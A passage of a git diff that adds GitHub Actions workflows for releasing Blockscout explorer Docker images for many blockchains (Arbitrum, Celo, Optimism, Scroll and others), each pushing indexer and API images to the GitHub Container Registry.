./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout:${{ env.RELEASE_VERSION }}.commit.${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + diff --git a/.github/workflows/release-arbitrum.yml b/.github/workflows/release-arbitrum.yml new file mode 100644 index 000000000000..2b8b288fe7f5 --- /dev/null +++ b/.github/workflows/release-arbitrum.yml @@ -0,0 +1,64 @@ +name: Release for Arbitrum + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Arbitrum (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-arbitrum-private:latest, ghcr.io/blockscout/blockscout-arbitrum-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=arbitrum + + - name: Build and push Docker image for Arbitrum (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-arbitrum-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=arbitrum diff --git a/.github/workflows/release-celo.yml b/.github/workflows/release-celo.yml new file mode 100644 index 000000000000..6545043871b2 --- /dev/null +++ b/.github/workflows/release-celo.yml @@ -0,0 +1,68 @@ +name: Release for Celo + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + API_GRAPHQL_MAX_COMPLEXITY: 10400 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for CELO (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-celo-private:latest, ghcr.io/blockscout/blockscout-celo-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + API_GRAPHQL_MAX_COMPLEXITY=${{ env.API_GRAPHQL_MAX_COMPLEXITY }} + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=celo + + - name: Build and push Docker image for CELO (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-celo-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + API_GRAPHQL_MAX_COMPLEXITY=${{ env.API_GRAPHQL_MAX_COMPLEXITY }} + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=celo + diff --git a/.github/workflows/release-default.yml b/.github/workflows/release-default.yml new file mode 100644 index 000000000000..4084939f7ad4 --- /dev/null +++ b/.github/workflows/release-default.yml @@ -0,0 +1,153 @@ +name: Release + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build & Push Core Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout-private:latest, ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + + - name: Build & Push Core Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + + + - name: Build & Push Docker image with an old UI (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/oldUI.Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout-private:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout-private:${{ env.RELEASE_VERSION }}-with-old-ui + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + + # - name: Send release announcement to Slack workflow + # id: slack + # uses: slackapi/slack-github-action@v1.24.0 + # with: + # payload: | + # { + # "release-version": "${{ env.RELEASE_VERSION }}", + # "release-link": "https://github.com/blockscout/blockscout/releases/tag/v${{ env.RELEASE_VERSION }}" + # } + # env: + # SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} + + # merge-master-after-release: + # name: Merge 'master' to specific branch after release + # runs-on: ubuntu-latest + # env: + # BRANCHES: | + # production-core + # production-sokol + # production-eth-experimental + # production-eth-goerli + # production-lukso + # production-xdai + # production-polygon-supernets + # production-rsk + # production-immutable + # steps: + # - uses: actions/checkout@v5 + # - name: Set Git config + # run: | + # git config --local user.email "actions@github.com" + # git config --local user.name "Github Actions" + # - name: Merge master back after release + # run: | + # git fetch --unshallow + # touch errors.txt + # for branch in $BRANCHES; + # do + # git reset --merge + # git checkout master + # git fetch origin + # echo $branch + # git ls-remote --exit-code --heads origin $branch || { echo $branch >> errors.txt; continue; } + # echo "Merge 'master' to $branch" + # git checkout $branch + # git pull || { echo $branch >> errors.txt; continue; } + # git merge --no-ff master -m "Auto-merge master back to $branch" || { echo $branch >> errors.txt; continue; } + # git push || { echo $branch >> errors.txt; continue; } + # git checkout master; + # done + # [ -s errors.txt ] && echo "There are problems with merging 'master' to branches:" || echo "Errors file is empty" + # cat errors.txt + # [ ! -s errors.txt ] diff --git a/.github/workflows/release-eth.yml b/.github/workflows/release-eth.yml new file mode 100644 index 000000000000..c713198e39f2 --- /dev/null +++ b/.github/workflows/release-eth.yml @@ -0,0 +1,65 @@ +name: Release for Ethereum + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Ethereum (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-ethereum-private:latest, ghcr.io/blockscout/blockscout-ethereum-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum + + - name: Build and push Docker image for Ethereum (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-ethereum-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum + diff --git a/.github/workflows/release-filecoin.yml b/.github/workflows/release-filecoin.yml new file mode 100644 index 000000000000..398c4ef1fa4a --- /dev/null +++ b/.github/workflows/release-filecoin.yml @@ -0,0 +1,64 @@ +name: Release for Filecoin + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Filecoin (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-filecoin-private:latest, ghcr.io/blockscout/blockscout-filecoin-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=filecoin + + - name: Build and push Docker image for Filecoin (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-filecoin-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=filecoin diff --git a/.github/workflows/release-fuse.yml b/.github/workflows/release-fuse.yml new file mode 100644 index 000000000000..2dc3e7ccae8b --- /dev/null +++ b/.github/workflows/release-fuse.yml @@ -0,0 +1,64 @@ +name: Release for Fuse + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Fuse (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-fuse-private:latest, ghcr.io/blockscout/blockscout-fuse-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + BRIDGED_TOKENS_ENABLED=true + + - name: Build and push Docker image for Fuse (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-fuse-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + BRIDGED_TOKENS_ENABLED=true diff --git a/.github/workflows/release-gnosis.yml b/.github/workflows/release-gnosis.yml new file mode 100644 index 000000000000..84bcef7894a9 --- /dev/null +++ b/.github/workflows/release-gnosis.yml @@ -0,0 +1,66 @@ +name: Release for Gnosis Chain + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Gnosis chain (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-xdai-private:latest, ghcr.io/blockscout/blockscout-xdai-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + BRIDGED_TOKENS_ENABLED=true + CHAIN_TYPE=ethereum + + - name: Build and push Docker image for Gnosis chain (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-xdai-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + BRIDGED_TOKENS_ENABLED=true + CHAIN_TYPE=ethereum diff --git a/.github/workflows/release-optimism.yml b/.github/workflows/release-optimism.yml new file mode 100644 index 000000000000..29bc6823aa89 --- /dev/null +++ b/.github/workflows/release-optimism.yml @@ -0,0 +1,64 @@ +name: Release for Optimism + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Optimism (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-optimism-private:latest, ghcr.io/blockscout/blockscout-optimism-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=optimism + + - name: Build and push Docker image for Optimism (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-optimism-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=optimism diff --git a/.github/workflows/release-polygon-zkevm.yml b/.github/workflows/release-polygon-zkevm.yml new file mode 100644 index 000000000000..11cfaf5b15c6 --- /dev/null +++ b/.github/workflows/release-polygon-zkevm.yml @@ -0,0 +1,65 @@ +name: Release for Polygon zkEVM + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Polygon zkEVM (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zkevm-private:latest, ghcr.io/blockscout/blockscout-zkevm-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=polygon_zkevm + + - name: Build and push Docker image for Polygon zkEVM (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zkevm-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=polygon_zkevm + diff --git a/.github/workflows/release-rootstock.yml b/.github/workflows/release-rootstock.yml new file mode 100644 index 000000000000..61240e588271 --- /dev/null +++ b/.github/workflows/release-rootstock.yml @@ -0,0 +1,65 @@ +name: Release for Rootstock + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Rootstock (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-rsk-private:latest, ghcr.io/blockscout/blockscout-rsk-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=rsk + + - name: Build and push Docker image for Rootstock (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-rsk-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=rsk + diff --git a/.github/workflows/release-scroll.yml b/.github/workflows/release-scroll.yml new file mode 100644 index 000000000000..6fc570c2a9e1 --- /dev/null +++ b/.github/workflows/release-scroll.yml @@ -0,0 +1,65 @@ +name: Release for Scroll + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Scroll (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-scroll-private:latest, ghcr.io/blockscout/blockscout-scroll-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=scroll + + - name: Build and push Docker image for Scroll (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-scroll-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=scroll + diff --git a/.github/workflows/release-zetachain.yml b/.github/workflows/release-zetachain.yml new file mode 100644 index 000000000000..13c0584be6d3 --- /dev/null +++ b/.github/workflows/release-zetachain.yml @@ -0,0 +1,64 @@ +name: Release for Zetachain + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Zetachain (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zetachain-private:latest, ghcr.io/blockscout/blockscout-zetachain-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zetachain + + - name: Build and push Docker image for Zetachain (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zetachain-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zetachain diff --git a/.github/workflows/release-zilliqa.yml b/.github/workflows/release-zilliqa.yml new file mode 100644 index 000000000000..2c7a48273809 --- /dev/null +++ b/.github/workflows/release-zilliqa.yml @@ -0,0 +1,66 @@ +name: Release for Zilliqa + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zilliqa-private:latest, ghcr.io/blockscout/blockscout-zilliqa-private:${{ env.RELEASE_VERSION }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zilliqa + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zilliqa-private:${{ env.RELEASE_VERSION }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zilliqa + + diff --git a/.github/workflows/release-zksync.yml b/.github/workflows/release-zksync.yml new file mode 100644 index 000000000000..f2126fb38a28 --- /dev/null +++ b/.github/workflows/release-zksync.yml @@ -0,0 +1,64 @@ +name: Release for ZkSync + +on: + workflow_dispatch: + release: + types: [published] + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: 